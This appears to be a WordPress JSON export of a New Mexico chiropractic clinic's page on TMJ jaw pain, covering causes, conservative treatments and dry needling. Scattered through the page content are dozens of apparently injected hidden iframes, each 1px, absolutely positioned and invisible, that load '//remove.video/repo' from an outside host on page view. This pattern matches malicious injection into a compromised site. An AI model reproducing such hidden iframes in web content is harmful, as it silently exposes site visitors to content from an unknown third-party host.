{"id":2280,"date":"2018-11-18T20:01:46","date_gmt":"2018-11-18T20:01:46","guid":{"rendered":"https:\/\/sportschironm.com\/?page_id=2280"},"modified":"2024-01-20T18:44:24","modified_gmt":"2024-01-20T18:44:24","slug":"tmj","status":"publish","type":"page","link":"https:\/\/sportschironm.com\/sports-chiropractic-massage\/conditions\/tmj\/","title":{"rendered":"TMJ"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"2280\" class=\"elementor elementor-2280\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-16abdaa2 elementor-section-height-min-height elementor-section-boxed elementor-section-height-default elementor-section-items-middle\" data-id=\"16abdaa2\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t\t<div class=\"elementor-background-overlay\"><\/div>\n\t\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-5a83b93a\" data-id=\"5a83b93a\" data-element_type=\"column\" data-settings=\"{&quot;background_background&quot;:&quot;slideshow&quot;,&quot;background_slideshow_gallery&quot;:[],&quot;background_slideshow_loop&quot;:&quot;yes&quot;,&quot;background_slideshow_slide_duration&quot;:5000,&quot;background_slideshow_slide_transition&quot;:&quot;fade&quot;,&quot;background_slideshow_transition_duration&quot;:500}\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-50f1f0a6 elementor-widget elementor-widget-aux_modern_heading\" data-id=\"50f1f0a6\" data-element_type=\"widget\" data-widget_type=\"aux_modern_heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<section class=\"aux-widget-modern-heading\">\n            <div class=\"aux-widget-inner\"><h1 class=\"aux-modern-heading-primary\">TMJ  | Abq<\/h1><h2 class=\"aux-modern-heading-secondary\"><span class=\"aux-head-before\">Sports Chiropractic &amp; Massage | <\/span><span class=\"aux-head-highlight\">Placitas, NM<\/span><\/h2><div class=\"aux-modern-heading-divider\"><\/div><\/div>\n        <\/section>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-2e3e8c2a elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"2e3e8c2a\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-2b534ba8\" data-id=\"2b534ba8\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-41398c87 elementor-widget elementor-widget-spacer\" data-id=\"41398c87\" data-element_type=\"widget\" data-widget_type=\"spacer.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-spacer\">\n\t\t\t<div class=\"elementor-spacer-inner\"><\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-668ebea8 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"668ebea8\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-72808a87\" data-id=\"72808a87\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-34bf214 elementor-widget elementor-widget-text-editor\" data-id=\"34bf214\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Dr. Smith treats Jaw Pain with a combination of <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/craniosacral\/\">Craniosacral<\/a>, <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/myofascial-release-techniques\/\">Myofascial Release<\/a>, and gentle <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/chiropractic\/\">Chiropractic Adjustments<\/a>. The TMJ is an extremely neurologically sensitive area and should be handled with care. If you are seeking treatment for TMJ in Placitas or the surrounding areas of Bernalillo, Rio Rancho, Abq, or Santa Fe call or schedule online.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: 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elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-30398293 elementor-widget elementor-widget-heading\" data-id=\"30398293\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Treatment for TMJ | Abq<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-3f65100 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"3f65100\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-9aff903\" data-id=\"9aff903\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-inner-section elementor-element elementor-element-56cd5f63 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"56cd5f63\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-wide\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-2af3a257\" data-id=\"2af3a257\" data-element_type=\"column\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-45eab302 elementor-widget elementor-widget-text-editor\" data-id=\"45eab302\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h2>Causes<\/h2><p>When the TMJ is an issue, you may have a hard time appreciating its <a href=\"https:\/\/www.mayoclinic.org\/diseases-conditions\/tmj\/symptoms-causes\/syc-20350941\" target=\"_blank\" rel=\"noopener\">structural elegance<\/a>.\u00a0 <a href=\"https:\/\/sportschironm.com\/acute-and-chronic-pain\/\">Pain<\/a> often makes us miss the underlying details.\u00a0 And pain is only the tip of the iceberg&#8230;vertigo, ringing in the ears, blocked sinuses, popping and cracking when you chew, locking&#8230;<\/p><p>There are many reasons that the jaw may become an issue:<\/p><ul><li><a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/ergonomics\/\">Poor Posture<\/a><\/li><li>Blunt Trauma<\/li><li>Genetics<\/li><li><a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/conditions\/arthritis\/\">Arthritis<\/a><\/li><li>Bad Luck&#8230;<\/li><\/ul><div>There isn&#8217;t always a clear cause for pain, and the elusive &#8220;TMJD&#8221; (Temporomandibular Joint Disorder) is not always consistently diagnosed.\u00a0 It is more often a problem for women, and many extreme treatments such as surgery and implants have been prescribed over the years with mixed results.<\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" 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data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-63c15c34 elementor-widget elementor-widget-text-editor\" data-id=\"63c15c34\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h2>Conservative Treatment<\/h2><p>It is not a bad idea to try a more conservative approach before going down the surgical rabbit hole.\u00a0 A number of gentle techniques have anecdotally been found to be effective:<\/p><ul><li>TMJ <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/massage-therapy\/\">Massage<\/a><\/li><li>Gentle Chiropractic Adjustments<\/li><li><a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/myofascial-release-techniques\/\">Myofascial Release<\/a><\/li><li>Gentle Home <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/therapeutic-instruction\/\">Stretching<\/a><\/li><li>Ice<\/li><li><a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/dolphin-neurostim\/\">Neurostim<\/a><\/li><\/ul><p>TMJ is more of a collection of symptoms than any one problem.\u00a0 Because of that, your treatment will not likely be identical to someone else&#8217;s.\u00a0 Make sure you find a practitioner who will take the time to assess your individual needs.\u00a0 You will be glad that you did.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: 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elementor-top-section elementor-element elementor-element-2a3dd18b elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"2a3dd18b\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-2a664a74\" data-id=\"2a664a74\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-2c6c3696 elementor-widget elementor-widget-heading\" data-id=\"2c6c3696\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Dry Needling for TMJ | Abq<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-432c8a66 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"432c8a66\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-5834e935\" data-id=\"5834e935\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-2e981930 elementor-widget elementor-widget-text-editor\" data-id=\"2e981930\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p data-sourcepos=\"3:1-3:168\">If you&#8217;ve ever winced at the mere thought of opening a wide-mouthed sandwich, you&#8217;re not alone. Temporomandibular Joint Dysfunction (TMJ) affects millions, leaving them grappling with jaw pain, clicking, and limited mobility. While treatments like medication and oral appliances offer relief, a new and effective treatment is emerging: dry needling.<\/p><p data-sourcepos=\"5:1-5:25\"><strong>What is Dry Needling?<\/strong><\/p><p data-sourcepos=\"7:1-7:7\">Imagine acupuncture without the mysterious energy channels. Dry needling uses thin, solid needles to target trigger points &#8211; those tender knots in your muscles that scream when poked. In this case, these trigger points often lurk in the jaw muscles, perpetuating pain and dysfunction.<\/p><p data-sourcepos=\"9:1-9:30\"><strong>How Does it Help?<\/strong><\/p><p data-sourcepos=\"11:1-11:116\">The needles stimulate the trigger points, causing a local twitch response. This &#8220;twitch&#8221; is thought to relax the muscle, improve blood flow, and decrease inflammation, ultimately leading to pain relief and improved jaw movement.<\/p><p data-sourcepos=\"13:1-13:24\"><strong>Is it Right for You?<\/strong><\/p><p data-sourcepos=\"15:1-15:245\">While research is promising, dry needling isn&#8217;t a magic bullet. If you&#8217;re considering it, make sure that it is incorporated into a more <a href=\"https:\/\/sportschironm.com\/sports-chiropractic-massage\/services\/\">holistic treatment<\/a> approach.<\/p><p data-sourcepos=\"17:1-17:26\"><strong>Here&#8217;s what to expect:<\/strong><\/p><ul data-sourcepos=\"19:1-21:117\"><li data-sourcepos=\"19:1-19:119\"><strong>A thorough evaluation:<\/strong> Dr. Smith will discuss your symptoms and examine your jaw to identify trigger points.<\/li><li data-sourcepos=\"20:1-20:156\"><strong>Needle Time:<\/strong> The needles are thin and usually painless during insertion. You might feel a twitch or some discomfort as the trigger point is activated.<\/li><li data-sourcepos=\"21:1-21:117\"><strong>Post-Treatment TLC:<\/strong> Expect some soreness or stiffness for a day or two after treatment. Applying ice and gentle stretching can help ease these symptoms.<\/li><\/ul><p data-sourcepos=\"23:1-23:16\"><strong>The Verdict:<\/strong><\/p><p data-sourcepos=\"25:1-25:382\">Dry needling isn&#8217;t without its risks, like bruising or minor bleeding. However for many, it offers a non-invasive, drug-free approach to pain relief and improved jaw function. <\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>TMJ | Abq Sports Chiropractic &amp; Massage | Placitas, NM Dr. Smith treats Jaw Pain with a combination of Craniosacral, Myofascial Release, and gentle Chiropractic Adjustments. The TMJ is an extremely neurologically sensitive area and should be handled with care. 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